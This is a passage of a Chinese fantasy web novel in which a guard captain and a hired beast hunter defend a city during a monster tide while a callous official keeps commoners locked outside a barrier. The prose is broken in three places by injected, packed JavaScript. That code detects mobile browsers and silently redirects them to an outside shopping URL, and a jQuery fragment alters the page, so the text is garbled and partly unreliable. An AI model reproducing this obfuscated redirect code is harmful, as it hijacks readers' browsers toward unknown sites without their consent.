它将一只爪子搭在屋沿上,仿佛在欣赏自己的作品。 “嘶嘶……” 他发出短促而兴奋的嘶吼声,一个脑袋探进了房屋,将烧焦的尸体衔住抛至上空,然后一口吞掉。 “高阶……高阶魔兽?” 欧文愣在了原地。 “怎么会,艾玛已经在城门了,怎么还有新的魔兽进来?难道城门失守了?” 但没有时间给他细想了。 他看到不少熟悉的面孔,经常给他武器维修打折的铁匠哈维、送过他一打鸡蛋的玛丽阿姨、还有老杵着拐杖出门下棋的德拉诺老爷爷。因为这只魔兽破坏了房屋,其他低阶魔兽也闻声而来,他们只得四散逃开。 他们不懂得如何隐蔽自己,也不会掩盖自己的气息,庇护所被破坏后,只能手足无措地冲出房门,漫无目的地在大街上跑,企图寻找一处安全的地方,但哪里安全呢?看似隐蔽的角落中缩着低阶魔兽,其他地方又相当显眼,那只龙形魔物正盘踞在上空,似乎准备随时抓一个人来玩玩。 “这样不行……他们这样会被那只死龙盯上的。” 他费力地起身,想要试着去拖住那只魔龙。 好巧不巧,魔焰不知道从哪里冒出来的,擦着他的耳朵直击他身后的房屋,房子瞬间燃烧起来,发出噼里啪啦的声音,仿佛只要一碰就会塌掉。 欧文被这突然的攻击下了一大跳,腿不自觉地有些发软,坐到了地上,他缓了两口气后准备再次前去营救剩下的人,突然,他的动作停下了,僵在了原地。 魔龙从天空俯冲落下,直接落到了他的对面。它降落的一瞬间掀起一阵狂风,浑浊的腥气从它鼻孔中呼出,拍打在欧文的脸上。 魔龙那双金色的竖瞳直勾勾地盯着他,它不是寻常魔兽,仿佛具有更丰富的情感与智能,那双眼睛里不是进食的欲望,而是一种玩弄猎物的兴趣和嘲弄。 它身躯庞大,立在欧文面前仿佛有一座房屋那般高大,紫黑色的鳞甲看上去坚不可摧,魔兽并没有收敛自己魔力的意识,庞大的魔力带来的压迫感冲击着欧文的神经。 他应该逃跑?他应该隐蔽?还是殊死一搏? 他只是僵在原地,脑袋一片发白,什么都做不了。 “在这种程度的魔物面前,我能做什么呢?” 恐惧爬满他的内心,他觉得死神近在咫尺,而刚才他还在妄想要去攻击这个家伙? 他绝望地看着这只魔龙,但死亡并没有如期而至。 魔龙看了他两眼,一甩尾巴将他抽到了墙边,仿佛觉得很没劲,嘲弄似的发出“嘶嘶”声,翅膀一扇,离开了地面,扑向正在逃跑的人群。 “唔……” 欧文从碎石堆中爬了出来。 “逃……我得离开这里……这只魔龙我绝对打不过……去就是送死。” 他一边喃喃自语,一边朝着一处隐蔽的小道走去。 但耳边传来了熟悉的声音,他停下了步子。 “救命啊…救命!” “这样下去我们逃不到内城区的,在路上就被吃个精光。” “城防军呢?城门失守了吗?” …… 惊呼声抱怨声,在他躲藏的这处缝隙外此起彼伏。 他能够清楚的识别出声音的主人是谁,他在这里住了十五年了。十五年里,约翰是经常关照他的热心大哥,纳吉婆婆会给他偷偷留下一批不错但临期的酒,铁匠铺的人虽然会给他打折,但是会起哄喝他的酒,或者要他请吃饭…… 他犹豫了一下,转身跑了出去,对混乱不堪的人群高喊。 “我是守卫队队长欧文!大家不要着急!内城区的屏障还有能源,大家立刻去那里!我来掩护大家。” 他话音刚落,一击魔法攻击就落到了人群之中,魔龙还在天空盘旋。 “走,大家快走,分三组,不走主干道,从蔷薇路、仲夏路、浆果路走,年轻人和有战斗能力的人扶一下老人,快走!” 他喊着,但是魔龙不准备给他们机会,一个俯冲,随之而来的是炙热的魔焰。欧文在众人的身后竭尽全力给他们打开了防御屏障。 他们分散开来,在小路上狂奔。魔龙在高空观察着,发现自己的火焰被挡了下来之后发出尖锐的吼叫。 欧文计上心头,瞄准正在俯冲的魔龙,用魔导器射出一支箭。被激怒的龙果然将目标改为了欧文。 “只能赌一把。” 他在自己的鞋子上附加了轻盈魔法,转身向刚才魔龙破坏得只剩断壁残垣的居住区跑去。 那里通道狭窄,房屋多且高,没准能够暂时限制住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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毕竟高阶魔兽没那么容易死,但自己能困住它已经远超预期了。当务之急还要去疏散剩下的居民,防御还在躲藏在路上的低阶魔兽,带居民去有屏障的内城区,现在外城区哪里都不安全。 欧文完全凭着意志力朝着内城区奔跑,虽然身体很沉重,但是一想到自己为居民们争取到了逃跑的时间,精神上的压力比起之前减轻了不少。 原本计划着先看看还有无遗落疏散的居民,但转念一想,魔龙已经被控制住了,初阶级魔兽无法破开居民的房屋,只要躲在室内相对安全,倒是刚刚因为房屋被毁而被迫逃往内城的人更加危险。 他朝着内外城交界处赶。 “一定没问题的,魔龙不在,初阶魔兽已经被清剿了不少,只要赶到结界处就安全了,那里还有城主雇佣的私人魔导师,一定没有问题………” 他秉持着这个想法,直到听见从交界处传来的凄厉惨叫。 21. 一墙之隔 内外城交界通道下方的水渠中漂浮着尸体和被魔兽咬碎的躯干。屏障外围,魔兽们已经完成了对人群的包围,在这个范围内追逐撕扯着没有还手之力的普通人。 地上血污斑驳、肢体横飞,原本以为会是避风港的内城区结界已经成了地狱。 欧文和露比的想法没有问题,外城的防御已然被撕开,高阶魔兽被控制,但数量更多的中低阶魔兽徘徊在城中,魔导师人手不足无法清剿完毕,对于失去居所的人来说,在街上徘徊无异于坐以待毙。 理论上他们可以向居所完整的人寻求帮助,但那只魔龙几乎无差别地毁掉了一整个居住区的房屋,前往另一个居住区的路程更远,且魔兽正盘踞在房屋外尝试进入。因此对这些人来说前往内城避难是唯一的选择。 人们确实在欧文舍命掩护下平安到达了结界,欧文的计划没有问题。 但一百多人跨越了整个外城区,避开了躲藏其中的魔兽,摆脱了天空中魔龙的威胁,却跨不过自己同胞这最后一道门。 “外城区里还有魔兽,快开开门吧,求您了! 屏障外的人苦苦哀求。 “不行,开放屏障后会产生空隙,恢复至少要五分钟,要是这个期间放了魔兽进来那怎么办?我必须保证内城区各位大人的安全。” 一位治安官负手而立,说得义正严辞。 “不会的,我们很快就进去,而且里面不是有好几位雇佣的魔导师吗?收拾初阶中阶魔兽不在话下,大人快放我们进去。” “开什么玩笑,这些魔导师都是城主重金聘请来保护各位大人安危的,怎么能让那么宝贵的人才给你们这些贱民服务?” “你这话什么意思?难道我们就该死吗?我们的命就不是命?” 有人不满地吼道。 治安官冷笑道。 “可笑……你们又算什么东西?只知道服从指令、日复一日重复劳作的耗材,你们的死活对帝国、对布鲁城毫无影响,怎可与城主、伯爵这些核心人士相提并论! 原本结界就会吸引魔兽,人群汇集在此对魔兽而言简直是将猎物集中到了一片场地中。城中那些零散的中低阶魔兽正是在此时逐渐朝此处汇集。 而治安官迟迟不肯打开结界,耽搁了太多时间。魔兽们在难民争辩之际已经完成了包围,屏障外的人连四散逃走都做不到了。 “快打开啊!就开一个小口,我们进去再关上,时间很快!求求您!求求您!我不想死!” 他们在结界处苦苦哀求,敲打着屏障,已经走投无路,无处可逃了。 身后是吃人的怪物,前方是吃人的同胞,自己的同族亲手关闭了他们活命的通道。 “打开结界……就一个小口……求你们了…” 白发苍苍的老人已经无路可走,背后有一只中阶魔兽正甩着尾巴朝他逼近。 他徒劳地敲打着坚硬的屏障,保护层后面的人们没有丝毫放他们进去的打算。 魔兽张开嘴巴朝他扑了过去,老人绝望地闭上了眼睛。 “德拉诺爷爷!” 欧文已经来不及冲过去,防御魔法也因为距离问题无法展开。 他孤注一掷,集中魔力在魔导器上,射向那只长张着口的魔兽。 他瞄得很准,射中了魔兽的眼睛。 “嗷呜呜呜呜!” 它因为疼痛直甩头,偏离了方向撞在了屏障上,撞晕了过去。 欧文看到了另一边的惨状,狂奔过去,挡在了另一位母女的身前,他节约着魔力用,魔力不足的屏障被中阶魔物撕碎,利爪一拍而下,他转身护住了女人和孩子。背部结结实实地挨了一击。 “唔……” 欧文痛得深吸了口气。 那只魔兽判断他没有了反击能力,竟然张牙舞爪地爬了过来,粉色的口腔暴露在欧文眼前。 “嗖!” 他竭力射出一支箭矢,低阶魔物不知道是晕厥还是死亡,暂时停了下来。 “我是守城军队长欧文,门外仅有低阶魔兽和中阶魔兽,各位的魔导师和内城魔导器大炮完全可以应付,请打开屏障通道放平民进入避难。” “你在撒谎,外面有魔龙,打开屏障要是放入了高阶魔物进入内城,后果不堪设想。” “魔龙已经被控制不会构成威胁……” “如何证明?” 对方态度轻蔑,欧文不再尝试废话,他明白或许魔龙只是个借口,这些人不会冒险打开屏障救他们的,只能自救了。 但他能做什么呢? 他在手心凝聚魔力,蓝色的光芒相当微弱,他的魔力几乎所剩无几,连元素魔法恐怕都只能使用七八次左右。 欧文准备用剩下的魔力集中攻击一两只比较暴躁的魔兽,在包围上打开一个缺口,就还有逃生的机会。 他只能做到这个程度了,剩下的就看大家各自的运气了。 他聚精会神准备施法,远方传来了令人胆寒的嘶吼。 阴影迅速逼近,那只魔龙已经挣脱了禁锢,扑扇着翅膀冲了过来。 “你看,我就说不能开这个口,外面果然有魔龙呢。”台上的治安官笑着说,仿佛非常得意于自己的先见之明。 魔焰倾泻而下,低阶魔兽们骂骂咧咧地迅速退去,跑的慢点的魔物被点着了屁股,痛苦地在地上翻滚。 许多人已经绝望了,看着扑面而来的火焰闭上了眼睛。 但预想中的灼痛并没有来。 欧文挡在了众人身前,蓝色的水元素屏障快速展开,将众人包裹于其中。 他因为强大魔力的压迫感跪在地上,双手攥着展开防御的微型魔导器苦苦支撑,蓝色的微光在手中若隐若现。 “哪怕借助了水渠中的水元素,也只能维持半分钟左右……” 欧文咬着牙。 “几十秒后,什么都没有了,什么都改变不了……” 他无力地看着屏障外燃烧的火焰,蓝色的屏障在冲击下强烈晃动。 他低下头,却有人挡在了他的身前。 德拉诺已经老了,连走路都不是很稳当,他撑起身,面对欧文,以一种保护的姿态抱住了他。 “老爷子?您这是……” 欧文抓着他干瘪枯槁的手,德拉诺笑着拍了拍他的肩膀。 其他还在屏障中的人也纷纷靠了过来,大家没有说话,只是层层相护,年纪大的抱住年纪小的,欧文和孩子们在中间。 欧文感受到身后也有人靠了过来,一双双手臂和肩膀挡在他的身前。 “你已经为我们承担很多了,这次换我们来试试吧,反正本来大家都要死,至少我们唯一的魔导师能够活下去,没准你之后还能帮我们报仇呢。” 离他最近的德拉诺爷爷笑着说。 “大家……就一定得死吗?” 欧文咬着牙,大伙的身影在欧文的眼中变得有些模糊。 魔龙的火焰并非寻常的火焰,除了高温外还带有魔力波动,大家舍命的保护其实没有意义。 “要是我的魔力再强一点,要是我和地脉的联系再深一点,会不会就能救大家,会不会一切都不一样?” 他透过众人的空隙愣愣地盯着裂缝渐起的屏障,它看上去脆弱无比,但并没有破裂。 德拉诺注意到血从欧文的鼻子中渗了出来,他的嘴皮也被咬出了血。 “只要还有一口气……大家不该死,我不接受!” 他发狠地自言自语。 “听说魔兽是可以自爆的,体内的魔力本质上是能量,如果身上的魔力如果被引爆是否会有远超同等魔法的威力呢?在引爆的一瞬间使用部分能量对周围的人进行防御,剩下的能量和魔龙进行对冲是否有胜算呢?” 横竖都是死,倒不如搏一下,反正自己这样的庸才也只能这样做了。 魔导师自爆,历史上有过吗?或许他可以作第一个呢,没有学校会教魔导师如何自爆,但魔力流动的速度需要控制在一定的范围内,速度超过阈值,身体无法承受高速运行产生的能量,这也是魔法师阶段区别的标准之一,所以只要身为中阶法师的自己坚持用高阶魔法的运行频率就可以实现吧? 他催动仅剩的魔力在身体内高速运转。 “快些……再快些。” 治安官对眼前的景象嗤之以鼻。 “如果仅靠血肉之躯就能抵挡魔兽的攻击,那魔兽潮简直就是笑话,这群人不过是在感动自己罢了,看着吧,他们和那个魔导师都会被烧成灰的。” 但那明明薄如蝉翼的屏障却没有如预期那般撕裂。 人墙之中反而迸发出刺眼的蓝光。 魔力的气息在一瞬间改变,明亮的蓝光从欧文的手中透出,并没有感受到超负荷崩溃的痛苦,虽然身体因疲劳仍然沉重得像灌了铅一样,但五感敏锐了许多,仿佛隔着自己和这个世界的东西碎裂开了。 “我可以使用高阶魔法了……” 欧文察觉到自己对魔力控制能力的变化,随后果断地从腰上挂着的攻击魔导器,起身瞄准魔龙还张着的口。 他没有学过高阶魔法,只是凭借本能将防御屏障的水元素魔力全部压缩至一箭上。 “嗖。” 蓝色的箭矢冲破魔龙的火焰,在飞出一段距离后一分为三,朝着魔龙刺去,它的释放着水元素的气息,将魔龙的火焰划开,为躲在箭矢后的人留出了一条生路。欧文跟在箭矢之后狂奔,他想趁着魔龙中箭的一瞬间再给它来一下。 没有人看清箭是否射中了魔龙,只是在水汽之后这只怪物摇晃两下后倒在了地上。 欧文被它的脑袋压住,他的手握着一把魔导器匕首,扎进了魔龙的脖子。 有希望了!唯一的高阶魔兽已经倒下!刚才治安官就是因为魔龙的威胁不肯打开屏障,现在魔龙已经死了,开门对内城区毫无威胁,大家可以进入内城!大家都能活着。 欧文松了口气,倒在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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老爷子跑不动了,跪在了屏障前,他说什么欧文听不见,但是他猜测无外乎只是求对方放他们进去。 欧文看见了一只魔兽爬向了这位老人,欧文竭尽全力想要施法,但自己的魔力已经完全耗尽了,他只能对着这位老人高呼。 “德拉诺爷爷……快走啊,离开那里!” 在他的眼中,那位和蔼慈祥的老人被魔兽的尾巴尖贯穿,抛至空中后坠落。几只魔兽扑上去开始大快朵颐。 他一直很健康,说不定能活到九十岁的。 泪水夺眶而出,欧文哭喊。 “那我做的这一切有什么意义……” 他抬头看着屏障内的高墙上站立的体面人。 那个人正傲慢地俯视着这些在地上挣扎的人群。 欧文恶狠狠地锤了地面一拳。 “为什么……为什么要这么做!” 他大声吼道。 为什么魔兽潮开始的时候要瞒报? 为什么要袖手旁观? 为什么见死不救? 为什么哪怕没有威胁也不肯放他们一条生路? 他双眸的火越烧越旺,恶狠狠地盯着治安官。 屏障内的治安官冷哼了一声。 “为什么?这有什么好追问原因的,你们的死活根本不重要。” 他轻描淡写地回了一句。 欧文心如死灰,转头看着正在躲避魔兽攻击的人们。 内城区铁定不会放人进去了,外城区现在的魔兽侵入情况已经足够糟糕了,这里自己已经无能为力,但不能再有新的魔兽进来,还是得求他们修复屏障。 他忍着不甘与愤怒咬着牙说。 “我理解……各位是为了保护内城区,理解城主的英明决策,您不给我们开通道我理解了……但至少,求您修复外城屏障的供能,外城屏障的供能出现故障,无法阻拦魔物,再不重启会有更多……” “哈哈哈…” 他仿佛听到了很滑稽的事情,控制不住地大笑起来。 欧文看着眼前这个捧腹大笑的官员,握紧了拳头。 “你在笑什么?” “啧啧啧……还故障?还重启呢?欧文队长怎么这么认不清形势?” 他摇了摇头。 “屏障的能源是有限的,如果一开始就开启包含外城的屏障,五级的能源如何能够抵抗三级魔兽潮?” 欧文盯着他,随后回过神来。 “从一开始就是你们切断了能源!你们一开始就想好了……” “呵呵,所以无论你是不是杀死了龙,我们都不会打开内城屏障的。原本就是计划牺牲掉的耗材,自然不该浪费资源,放你们进来不是不可以,只是没必要罢了。为帝国的柱石们牺牲,也是各位蝼蚁的荣幸。” 他冠冕堂皇的话如一瓢冷水浇在欧文的头上,他彻底认清了这群人的嘴脸。 “那就祝欧文队长和各位蝼蚁们自求多福吧,愿女神庇佑各位。” 他接过侍从递来的酒,仿佛在欣赏一幕戏剧而非惨绝人寰的人祸。 22. 一波又起 阿纳托利已经顺利取到了屏障操纵的权限,他从城主那里拿到了城内调令凭证,将城主交给了没什么用的卡宁看管,自己独自来到了控制室。 屏障的启动与关闭有三个端口,城门处的仪器、城中心的中枢、以及城市所在的整片城区控制中心。 启动和关闭指令以下达地方机关级别来确定优先级,指令冲突时会优先执行最高指令;能源分配只有城中心以上的机关有这个权限;至于其他具体问题,如防御模式、开启通过通道这种具体问题最低级别也可以根据具体情况自行处理。 考虑到这一点,阿纳托利决定立刻将屏障能源等级提升到三级,同时打开了外城屏障,并将能源大部分优先供给外城。 在快速处理完这些事之后,他立刻赶往外城。 此时内城屏障处仍然没有打开,他骑马在内城墙边上看了一眼,不可置信地睁大了眼睛。 墙下宛如人间炼狱,中低阶魔兽们发出兴奋的吼叫,正簇拥着撕扯人们的肢体,地上到处可见喷射状的血泊和纷杂拖拽的血迹。 “……” 他缓缓拔出剑,打马走向站台上还在围观的人群。 “还好我没有被这些狡猾的人欺骗,你瞧瞧,说什么魔龙被控制,马上就冒了一只出来,说什么龙死了就安全了,明明后面躲着这么多小魔物呢,要是真给他们开了,现在内城可就麻烦了……” 治安官说着抿了口酒,为自己的谨慎沾沾自喜。 而其他人也谄媚地争相附和。 随后人群中有官员提议道, “诶诶,我们来打赌吧,看哪只魔兽最厉害?我赌墙边上尾巴带刺的那只,十分钟不到就已经吃了三个人了,看那尾巴,还在甩呢,多威风!” “好啊,那我赌门口那只,刚才看他直接将一个人咬成了两半……” “我听说在圣都,那些顶级贵族还会豢养猛兽,作为身份的一种象征,可惜了魔兽这种畜生不通人性也不好控制……” “可不是吗?可惜了,它们最多也只能给我们提供打赌这种乐子了……” 人群中发出哄笑,直到外围一个人笑的时候撞到了旁边的人。 “谁啊?”他抬头望去。 那位青年身形高大,但面孔十分平常,按理这种大众脸都会让人觉得很眼熟,但这位官员却有种很异常的违和感。 “喂,你是哪个队的?去一边站岗……” 他骂骂咧咧地想对这位陌生的青年动手,但青年仿佛对他没有半点畏惧,灰色的眸子冷若冰霜。他还没有反应过来,手已经被卸了关节,冰冷的剑抵在了他的脖子上。 “你……你干什么?” 那人气急败坏地质问,周围的人群看了过来,阿纳托利也不和他们多废话。 “墙外已经是这种情况了,内城防御充分,又有魔导师,为什么不打开屏障通道?” 他看向人群,压抑着怒火。 人群中走出一个身着制服的人,看样子是治安官,他义正严辞地回答了阿纳托利的问题。 “外面有很多低阶魔兽,万一放进来没控制住,伤到内城其他人的安全该怎么办?” “退一万步,你们为了安全不开屏障,但是内城墙上的魔导器是摆设吗?你们完全可以使用魔导器来支援下面的人。” “但是那会耗费宝贵的能源……况且城主说了‘一切以内城安全为重,别的什么都不要做。’我们执行命令有什么问题?哪轮得到你一个不知道从哪里冒出来的人质疑。” 治安官的眼中满是傲慢与不屑,他打量着阿纳托利,一身旧盔甲,灰扑扑的剑,没有家纹也没有家徽,不知道是怎么混到内城区的穷酸鬼,还敢在他面前装什么正义之士。 “是你严格执行的命令,下令围墙上的士兵不许救援也不许打开通道的吗?” 治安官被他的眼神看得心里有些发毛,但还是为了面子硬气道。 “是的,我是治安官,我……” 白色的光一闪而过。 他说不出话来,眼睛朝下看,那把灰扑扑的剑刺穿了他的脖颈。 他不可置信地看向对方,那个青年露出看垃圾一样的眼神。 “……” 治安官嘴巴开合,仿佛在说什么,阿纳托利不在意。 他抽出剑,随即扎入了对方的心脏,握着剑继续将他发软的身体推到了墙边,向上抬手抵在了屏障上,擦出一道血迹。 “破!” 他念着咒语,魔力在剑端凝聚,冲击着屏障,十击之后屏障开了个洞。 阿纳托利一把抽回剑,治安官从缺口处落下,一声闷响后,传来了魔兽们兴奋的嘶吼声。 他这才转过身,手中的剑还滴着血。 事情发生得很快,能够打穿防御屏障是什么实力自然不必多说,几位中低阶魔导师自然知道眼前的人实力在他们之上,不愿送死的他们选择了袖手旁观,而刚才还趾高气扬的贵族们噤若寒蝉,生怕这个不知道从哪里来的杀神下一个拿自己开刀。 阿纳托利扫了他们一眼,这才拿出城主令。 “我是城主聘请的魔兽清剿专家,城主已将屏障开放、军队调度的权限全权委托给我,治安官曲解城主命令,导致民众惨死,现在已经诛杀。我奉命立刻前往外城,魔导师随我立刻出发,剩下的人负责清剿此地的魔兽,救援还活着的伤患。完成后清点部队人数后立刻过来。” 众人虽然知道事情异常,但是他已经拿出城主令了,便不再多说什么,反正只是处理这里的低阶魔兽,也不是什么危险的任务,没必要给这位找不痛快,毕竟谁都不想被疯子一剑穿喉。 阿纳托利带人赶到的时候,露比已经站在了屏障之外。 她一人挡在屏障之前,还在和一只高阶龙型魔物纠缠,周围都是魔兽的尸体。 那头红色的卷发乱糟糟的,在风中就像狮子的鬃毛,白色的袍子完全被染成了黑红色,整个人没有一点神官的圣洁,反而像一个在地狱中挣扎的斗士。 “露……艾玛!坚持住,我们来支援你!” 赶到屏障边缘的阿纳托利冲她大声喊。 “嗯?好像是阿纳托利的声音……” 杀红了眼的露比正在与最后一只高阶魔兽缠斗,还以为自己听错了,一回头才发现身后不知道什么时候已经展开的屏障。 “太好了!看来计划奏效了,里面的人安全了。” 她松了口气。 正准备集中注意力结果了这最后一只家伙,恢复了能源的城防炮呼啸而来。 露比打开防御屏障捂住眼睛。 大家伙在惨叫一声后倒了下去,身上多了一个切割整齐的血窟窿。 确认魔物都断气了,露比紧绷着的神经终于松懈,一屁股坐到了地上。 “哎呦喂,可累死我了,还以为得交代在这里……” 她用手掌给自己扇着风,自言自语道。 “露比,我给你打开防御通道,快进来!” 阿纳托利的声音传来,露比直起身,赶紧跑到屏障处。 “不用了阿纳托利,打开防御通道会耗费魔力,给布鲁城的人们节约一下吧。” “那你?” “反正我俩都要离开,我在这里已经杀了两只高阶魔兽了,三级魔兽潮不过就两到三只高阶魔兽,后续魔兽潮应该不会有问题,他们靠着屏障和魔导器大炮一定能够挺过去的。” “是的,后续问题不大,但我想晚点离开。” 露比隔着屏障看着他。 “是因为你去拿权限的时候发现这里的城主是一群酒囊饭袋?担心一旦抽身离开,后续的救灾也会一团糟吗?” 露比靠在屏障上。 “是啊,你还不知道内城发生了什么事……我现在抽身离开,不知道他们还会搞出什么惨案来,而且魔兽潮还没有完全结束……” 他的眉头快拧在了一起,忧愁地叹了口气。 露比看他这幅表情大概猜出了内城应该发生了一些恐怖的事情。 “我理解了,那我先走,沿路还能帮你们清理一些,你随后来吧。” “好,列昂尼德他们应该这两天就能到汇合地点,但你要怎么去呢?外面没有交通工具。” “你忘记了?我有新型装置啊。” 她掏出阿纳托利有些反感的魔导器。 “对了这里这么多魔兽,我多掏几个魔核别,浪费了。” 说罢她就穿梭在魔兽的尸体之间,在魔兽的内脏间摸索。 “……” 阿纳托利不语,只是看着眼前的血腥画面,露比笑得一脸灿烂,跟采蘑菇一样,属实是有些诡异。 她收集得差不多之后滚着屏障到了阿纳托利面前。 “我知道你是想处理这里的麻烦事,但是千万不要把自己绕进去了,你的身份不能暴露,布鲁城安全了就立刻跑路!” 她认真地嘱咐后便滚着魔导器离开了。 一切看上去已经落幕,魔兽潮似乎告一断落了,阿纳托利组织着城内的清剿工作,卡宁虽说十分狡猾,给阿纳托利的印象并不好,但不得不承认他做事相当利落,是处理魔兽的一把好手。 欧文被救下,治疗好后很快和自己配合工作,阿纳托利本来准备在魔兽潮结束后的第三天离开的,此时没有什么新增的魔兽攻击,后续救援工作欧文也完全接手,看上去没有一点问题。 但他的计划却在第二天昼夜之交时发生了变故。 阿纳托利正在城墙上的休息室休息,他抱着剑蜷缩着打着盹儿,突然警惕地睁开眼睛。 他感受到了魔兽的气息。 “怎么可能?屏障可以隔绝魔兽的气息,难道屏障出问题了?” 不安一瞬间就涨满他的内心。 他提着剑打开门,刚跑出城墙上的休息室,余光就瞥到了一个庞然大物撞了过来。 他下意识转身拔剑。那只庞然大物被屏障阻拦住,没能靠近。 金黄的眼睛直勾勾地打量着屏障内的阿纳托利,宛如在看一顿美餐。 “第四只龙形魔物……” 阿纳托利看着眼前的巨龙,体型简直是露比和欧文猎杀的两倍。 他快速观察着周围,屏障有两个小口,有些魔物已经爬上来了,这群家伙很狡猾,比起上次魔兽潮他们这次的进攻更加隐秘。 魔龙振翅而上,法阵在它身后若隐若现,它张开嘴,魔焰喷涌而出,撞向屏障。 屏障在他的攻击下竟然开始颤动起来,随后破开了一个小口。 “这样下去可不行。” 阿纳托利看向城防警报的站台,那个人已经因为袭击倒下,阿纳托利迅速拉响城防警报。 尖锐的报警声唤醒了沉睡的城市,守卫们很快赶来,在阿纳托利的指挥下使用魔导器大炮攻击魔龙和其他魔兽。 但这只魔龙相当灵敏,魔导器屡屡打空,哪怕终于击中了目标,也碍于使用者魔力有限,无法给这东西造成致命伤害。 就在阿纳托利准备自己上的时候,魔龙俯冲了过来,这一次魔焰的覆盖范围远超之前所有的攻击,魔力强度也高的可怕,阿纳托利在屏障内都能感受到灼热的气息。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046842|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“他在试着耗尽能源,彻底毁了屏障!” 阿纳托利看着扑面而来的魔焰,捏紧了拳头。 “能源还能撑多久?” 他向一个监测人员问道。 “没有补充能源了,如果屏障破裂将无法修补。” 阿纳托利觉得十分蹊跷,为什么此地的能源储备如此不足,正常情况哪怕是按照三级屏障的规模也可以维持三天啊,但现在没有时间给他细想。 “你们守住这里,我去控制中心……屏障不能破。我们人手不够,低中阶魔兽一旦涌入根本来不及救居民。” 他冲进控制室,在能量储存仓里注入自己的魔力,以修复被魔龙破坏的屏障。 “但不能干耗着,我只有六成魔力,和它耗魔力没有意义,杀了这个家伙才是正解。” 他开始试着和能源石同频,给屏障能源注入自己的魔力。 “长官?您在干嘛?” 一个守卫注意到他的举动,连忙过来抓住他的手。 “您疯了吗?屏障能源庞大,贸然与其同频注入能量有可能受伤!” “没办法,屏障必须立刻修复,这里没有高阶魔导师或者中阶及以上的魔法师……” “但您之后还要和这只高阶魔物作战不是吗?” “别担心……会赢的。” 他的手覆上的那枚能源石在达成同频后,焕发出银色的光芒,守卫眼中的阿纳托利带着让人安心的笑容,仿佛一切困难都不值一提,他真的能够摆平一切。 守卫不再说话,只是看着自己这位临时的长官提着长剑,一步踏上城墙边缘,从尚未修复的缺口处跃出屏障,投身进即黎明前的夜晚。 风从他的耳边呼啸而过,气流的变化能够帮助他更好地判断战局。 风元素是大地最广阔最充沛的元素,虽说威力并不如火元素或者冰元素,但泛用性和灵活性首屈一指。 阿纳托利开始使用元素魔法,屏障外刮起了风,一阵阵气流在他的指挥下交汇,此时,天色渐亮,他踏风而去,直逼魔龙的眼睛。 他动作相当快,屏障内的人都只看清了瞬间划过的银色剑光,魔龙应该无法避开这一击。 但这只龙远胜于之前的魔物,他狡猾而灵活,它确实没有看清阿纳托利的动作,甚至没能感受到疾风中阿纳托利隐藏起来的魔力波动。 只是凭着本能的对于危险的直觉,它转头了,用自己的犄角对上了阿纳托利。 “啪嗒!” 剑只在斩击的那一瞬间发动了魔力,也只在这一刻爆发出了魔力的光芒,魔龙盯着银晖之下持剑的勇士,它发出愤怒的嘶吼。 坚硬的角被击碎了,落在晨曦映衬的大地上。 怒火在魔龙的眼中蔓延,那双金色的竖瞳中黑线越发细窄。 它喷出熊熊魔焰,势必要将阿纳托利烧死。 风在阿纳托利身前高速盘旋,火焰未能近身半分。 他施展一个浮空魔法,在空中借力,朝上一跃。 挥剑撕碎眼前的魔焰,从火中冲出,直冲上魔龙的头顶,抓住了它还剩一半的犄角。 它仿佛察觉到了对方的意图,拼命挣扎想要摆脱。 阿纳托利的手已经死死逮住了魔龙断掉的角桩上,他可不会放过这个机会。 他想将剑插入魔龙的脑袋,再发动一次集中轰击,能在屏障上开洞,那给魔龙的脑袋开瓢也并不难。 就在他汇聚魔力于一剑时,脖颈上传来了钻心的疼,他的魔力如同被泼了一瓢水的火,一瞬间削弱了不少,他勉强着想将继续将剑刺入,却只是徒劳,更糟糕的是脖颈处的窒息感正在加强。 “该死的限制措施!” 他恨不得将教廷想出这个馊主意的人千刀万剐。 狡猾的龙一瞬间就察觉到了敌人强弱的变化,它趁着阿纳托利受影响的时候,疯狂地打圈倒飞,甚至不惜朝着自己发动魔法攻击,宁可受伤也要把这个威胁摔下去。 它如愿了。 除了“心锁”这个限制措施,他在南下前肩膀和胸口处受的伤再度撕裂。 在多重干扰下他松开了手,从高处摔落下来。 他竭尽最后的力气,在坠落的过程中使用元素魔法,风将他托举,在空中兜了他一下,这才使得落地时没有受伤。 “只能用六成魔力……这下可难办了。” 他抬头看着眼前振翅高飞,准备俯冲过来的魔龙。 不能跟对方硬碰硬,自己现在一使用魔力就会有不良反应,唯一的办法现在只能寄希望于自己当诱饵,让守卫接机用魔导器大炮了,只要距离够近并非没有希望。 他正准备孤注一掷,大范围传音魔法打乱了他的计划。 “现在所有的魔导师、魔法师,以及有能力战斗的成员请尽可能不要慌乱,暂时寻找掩体,或者躲在屏障内侧,教会即将对魔龙进行范围打击。” 是一个男子的声音。 “教会来了?西区……维克多的人?” 阿纳托利心中暗想。 “接下来的战斗由教会全权接手,感谢各位战士们的艰苦付出,东部主教与神使团首席神官带兵前来支援,希望一切顺利!” “东部主教?” 阿纳托利不禁瞪大了双眼。 他四处张望,最终在和魔龙同一水平线的上空发现了一个蓝色的影子。 她在男子说罢后才缓缓开口,传音魔法显得她说话更加轻而慢。 “东部四区主教莱安娜前来助战,接下来由我一人负责击杀高阶魔物,其他战斗单位注意闪避……” 23. 重逢 